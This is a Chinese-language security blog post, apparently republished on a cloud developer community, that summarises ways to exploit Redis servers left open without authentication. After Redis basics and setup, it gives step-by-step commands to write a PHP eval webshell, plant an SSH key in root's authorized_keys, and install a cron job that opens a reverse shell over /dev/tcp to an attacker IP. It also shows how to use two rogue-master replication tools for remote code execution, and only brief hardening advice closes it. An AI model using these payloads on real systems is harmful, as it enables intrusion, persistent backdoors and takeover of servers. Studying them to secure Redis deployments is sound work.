首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Redis 常见漏洞利用方法总结

Redis 常见漏洞利用方法总结

作者头像
黑白天安全
发布2021-08-10 15:55:28
发布2021-08-10 15:55:28
3.5K0
举报

Redis简介

Redis基本语法

1.Redis 配置

Redis 的配置文件位于 Redis 安装目录下,文件名为 redis.conf 。可以通过 CONFIG 命令查看或设置配置项

Redis CONFIG 查看配置命令格式如下:

代码语言:javascript
复制
CONFIG GET CONFIG_SETTING_NAME

使用 * 号获取所有配置项

代码语言:javascript
复制
CONFIG GET *

2.编辑配置

可以通过修改 redis.conf 文件或使用 CONFIG set命令来修改配置

代码语言:javascript
复制
基本命令语法
  redis 127.0.0.1:6379> CONFIG SET CONFIG_SETTING_NAME NEW_CONFIG_VALUE

如:

3.参数说明

代码语言:javascript
复制
几个redis.conf 配置项说明如下
    port 6379                   //指定 Redis 监听端口,默认端口为 6379
    bind 127.0.0.1              //绑定的主机地址
    timeout 300                 //当客户端闲置多长秒后关闭连接,如果指定为 0 ,表示关闭该功能
    databases 16                //设置数据库的数量,默认数据库为0,可以使用 SELECT 命令在连接上指定数据库id
    save <seconds> <changes>    //指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合
    dbfilename dump.rdb         //指定本地数据库文件名,默认值为 dump.rdb
    dir ./                      //指定本地数据库存放目录

Redis命令

Redis 命令用于在 redis 服务上执行操作。要在 redis 服务上执行命令需要一个 redis 客户端。Redis 客户端在我们之前下载的的 redis 的安装包中

1.Redis 客户端的基本语法为:

代码语言:javascript
复制
redis-cli -h host           //免密登录Redis服务
redis-cli -h host -p port -a password   //使用redis密码登入redis服务
连接之后执行PING命令,如果服务运作正常的话,会返回一个 PONG

2.SET 命令

Redis SET 命令用于设置给定 key 的值。如果 key 已经存储其他值, SET 就覆写旧值,且无视类型。

代码语言:javascript
复制
语法
    redis 127.0.0.1:6379> SET KEY_NAME VALUE

3.GET 命令

Redis Get 命令用于获取指定 key 的值。如果 key 不存在,返回 nil

代码语言:javascript
复制
语法
    redis 127.0.0.1:6379> GET KEY_NAME

4.Flushall命令

Redis Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。

代码语言:javascript
复制
语法
    redis 127.0.0.1:6379> FLUSHALL

5.Redis 数据备份与恢复

SAVE 命令用于创建当前数据库的备份,将执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以默认 RDB 文件的形式保存到硬盘 (此命令将在 redis 安装目录下创建一个 dump.rdb文件)

代码语言:javascript
复制
语法
   redis 127.0.0.1:6379> SAVE

恢复数据,只需要将备份文件(dump.rdb) 移动到 redis 安装目录并启动服务即可。获取 redis 目录可用 CONFIG 命令

代码语言:javascript
复制
CONFIG GET dir

6. Redis 安全

可以通过 redis 的配置文件设置密码参数,这样客户端连接到redis服务就需要密码验证。可以通过以下命令查看是否进行了密码设置

代码语言:javascript
复制
CONFIG get requirepass

默认情况下 requirepass 参数为空,这就意味着可以无需通过密码验证就可以连接到redis服务

然后可以通过一下命令来修改参数,设置密码之后,客户端连接redis服务就需要密码验证,否则无法执行命令( 但是命令行修改了密码之后,配置文件的requirepass字段后面的密码是不会随之修改的 )

代码语言:javascript
复制
CONFIG set requirepass "657260"
CONFIG get requirepass
代码语言:javascript
复制

AUTH 命令可用于检测给定的密码是否与配置文件中的密码相符 (密码匹配正确时返回OK,否则返回一个错误)

代码语言:javascript
复制
AUTH PASSWORD

Redis环境搭建

1.在ubuntu中下载安装Redis并压缩

代码语言:javascript
复制
wget http://download.redis.io/releases/redis-5.0.12.tar.gz

tar -zxvf redis-5.0.12.tar.gz

2.下载并解压后之后,进入Redis目录中,执行 make ,通过 make 编译的方式来安装。(如果编译失败则有可能是未装gcc ,安装一下之后继续编译即可)

当出现 'make test'时,则代表编译安装成功

3.make编译结束后,进入src目录,将redis-server 和 redis-cli 拷贝到 /usr/bin 目录下 (这样就不用每次启动服务都进入安装目录了)

代码语言:javascript
复制
cd src
cp redis-cli /usr/bin
cp redis-server /usr/bin

4.返回 redis-5.0.12 目录,将 redis.conf 拷贝到/etc/目录下

代码语言:javascript
复制
cp redis.conf /etc

5.使用 /etc/ 目录下 redis.conf文件中的配置启动redis服务

代码语言:javascript
复制
redis-server /etc/redis.conf

6.一般情况下外面的主机是连接不了redis的,因为redis遵循bind指令,这将强制Redis只监听 IPV4 回退接口 IPV4 回退连接地址(意味着Redis将能够只接收来自同一台计算机的连接运行)

可以修改redis配置文件 /etc/redis.conf 中添加本地地址来解决,修改完之后重新启动redis服务,可以发现可以连接了

代码语言:javascript
复制
bind 127.0.0.1 192.168.245.128

Redis 未授权访问漏洞

Redis 默认情况下,会绑定 .0.0.0.0:6379 ,如果没有才有相关的策略,比如添加防火墙规则避免其他非信任来源 限制ip访问等,那么就会将 Redis 服务暴露到公网上。如果没有设置密码认证的话(一般为空),会导致任意用户在可以访问目标服务器的情况下,未授权访问 Redis 以及 读取 Redis 的数据。

在未授权的情况下,可以利用 Redis 自身提供的 config 命令进行写入shell、写SSH公钥、创建计划任务反弹shell 等。其思路都是先将 Redis 的本地数据库存放目录设置为 特定的目录,然后将 dbfilename (本地数据库文件名) 设置为你想写入的文件名称,最后在执行 save 或 bgsave 保存,那么就看在制定的目录下写入指定的文件了。

漏洞危害

攻击者无需认证即可访问到内部数据,可能导致敏感信息泄露,也可以执行 flushall 来清空所有的数据

可通过 EVAL 来执行 lua 代码,或通过数据备份工具往磁盘写入后门文件

最为严重的是,如果 Redis 以 root 身份运行的话,那么就可以给 root 账户写入 SSH公钥文件,直接通过 SSH 登录被攻击者服务器。

Redis未授权访问的几种利用方法

1.利用 Redis 写入webshell

1.利用条件

代码语言:javascript
复制
服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证。
开了服务端存在Web服务器,并且知道Web目录的路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限。

2.利用方法

代码语言:javascript
复制
将dir设置为/www/wwwroot/html,将指定本地数据库存放目录设置为/www/wwwroot/html;将dbfilename设置为文件名shell.php,即指定本地数据库文件名为shell.php;再执行save或bgsave,则我们就可以写入一个路径为/www/wwwroot/html/shell.php的Webshell文件
原理
    在数据库中插入一条Webshell数据,将此Webshell的代码作为value,key值随意(x),然后通过修改数据库的默认路径为/www/wwwroot/html和默认的缓冲文件shell.php,把缓冲的数据保存在文件里,这样就可以在服务器端的/www/wwwroot/html下生成一个Webshell

3.操作步骤

代码语言:javascript
复制
config set dir /www/wwwroot/html/    
config set dbfilename shell.php
set xxx "<?php eval($_POST[whoami]);?>"
save

这里的第三步写入webshell的时候,也可以使用

代码语言:javascript
复制
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"

\r\n\r\n 代表换行,用redis写入文件的话会自带一些版本信息,如果不换行的话可能会导致无法执行,然后查看被攻击机的 /www/wwwroot/html 目录下 shell.php的内容,可以看到写入成功

然后可以使用蚁剑成功连接。

2.利用 Redis 写入SSH公钥

1.利用条件

代码语言:javascript
复制
服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证。
服务端存在.ssh目录并且有写入的权限
原理
    在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key

2.首先在攻击机的 /root/.ssh 目录里生成ssh公钥key

代码语言:javascript
复制
ssh-keygen -t rsa

然后将公钥导入key.txt文件(前后使用 \n 换行,避免和Redis里其他缓存数据混合),再把 key.txt 文件内容写入服务端 Redus的缓存中

代码语言:javascript
复制
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.xx.xx -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。

然后,使用攻击机连接目标机器 Redis,设置Redis的备份路径为 /root/.ssh/ 和 保存文件名为 authorized_keys,并将数据保存在目标服务器缓存中 (在设置目录时,可能会存在报错 (error) ERR Changing directory: No such file or directory ,这是因为 root 从来没有登录过,然后在被攻击机中执行ssh localhost即可)

代码语言:javascript
复制
redis-cli -h 192.168.xx.xx
config set dir /root/.ssh
config set dbfilename authorized_keys
save

最后使用攻击机ssh连接目标即可(成功连接)

3.利用Redis写入计划任务

代码语言:javascript
复制
这个方法只能在Centos上使用,Ubuntu上是行不通的,原因如下:
    因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw———-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
    因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
然后由于系统的不同,crontrab定时文件位置也会不同
    Centos的定时任务文件在/var/spool/cron/<username>
    Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
代码语言:javascript
复制
代码语言:javascript
复制
原理
    在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
首先在攻击机kall上开启监听
    nc -lvp 4444

然后连接服务端的 Redis,写入反弹 shell 的计划任务

代码语言:javascript
复制
redis-cli -h 192.168.142.153
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.245.153/4444 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

然后大概等一分钟左右可以看到,在攻击机的nc中成功反弹回shell

Redis基于主从复制的命令执行

Redis主从复制

代码语言:javascript
复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。
为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机(从机),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

Redis 主从复制进行RCE

代码语言:javascript
复制
在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于Redis 4.x/5.x的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展(.so),在Redis中创建一个用于执行系统命令的函数。

1.利用 redis-rogue-server 工具 ( 地址:https://github.com/n0b0dyCN/redis-rogue-server)

该工具的原理是先创建一个恶意的 Redis 服务器作为 Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过slaveof命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids主机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可

但是该工具无法对Redis密码进行Redis认证,也就是说该工具只能在目标存在Redis未收取访问漏洞时使用。如果存在密码是不能使用的。

代码语言:javascript
复制
使用方法
    python3 redis-rogue-server.py --rhost rhost --lhost lhost

执行后,可以选择获取一个交互式的shell(interactive shell) 或者是反弹shell(reserve shell)

选择 i 来获取一个交互式的shell,获取到之后可以直接执行系统命令

使用 r 来获取一个反弹的shell

但此工具最大的缺点就是只能使用于目标存在redis未授权访问漏洞时使用,当目标存在密码时无法使用。所以看下其他的工具。

2.利用 redis-rce工具 ( 地址 https://github.com/Ridter/redis-rce)

可以看到工具有一个 -a 的选项,可以用于redis认证。

但是这个工具里少一个exp.so的文件,我们还需要去上面那个到 redis-rogue-server工具中找到exp.so文件并复制到redis-rce.py同一目录下,然后执行如下命令即可:

代码语言:javascript
复制
python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password

执行后的效果和上面的工具一样,可以获取一个交互式的shell或反弹shell

这里选择 i 来获取一个交互式的shell,可以直接在里面执行命令

也可以选择 r 来获取一个反弹shell

Redis的安全防护策略

1.禁止监听在公网地址

代码语言:javascript
复制
将 Redis监听在 0.0.0.0 是十分危险的,所以需要修改 Redis 监听端口,在 Redis 的配置文件 redis.conf 中进行设置,找到包含 bind 的行,将默认的 bind 0.0.0.0 改为内网IP,然后重启 Redis

2.修改默认监听的端口

代码语言:javascript
复制
Redis默认监听端口为6379 ,为了更好的隐蔽服务,可以在redis.conf 中修改Redis的监听端口,将默认端口 6379 改为其他的端口

3.开启 Redis 安全认证并设置复杂的密码

代码语言:javascript
复制
为了防止 Redis 未授权访问攻击以及对 Redis 密码的爆破,可以在 redis.conf 配置文件中,通过 requirepass 选项开启密码认证并设置强密码

4.禁止使用 root 权限启动

代码语言:javascript
复制
使用 Root 权限去运行网络服务是比较有风险的,所以不建议使用 Root 权限的任何用户启动 Redis。加固建议如:
  useradd -s /sbin/nolog -M redis
  sudo -u redis /<redis-server-path>/redis-server /<configpath>/redis.conf

5.设置Redis配置文件的访问权限

代码语言:javascript
复制
因为 Redis 的明文密码可能会存储在配置文件中,所以必须禁止不相关的用户访问配置文件
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档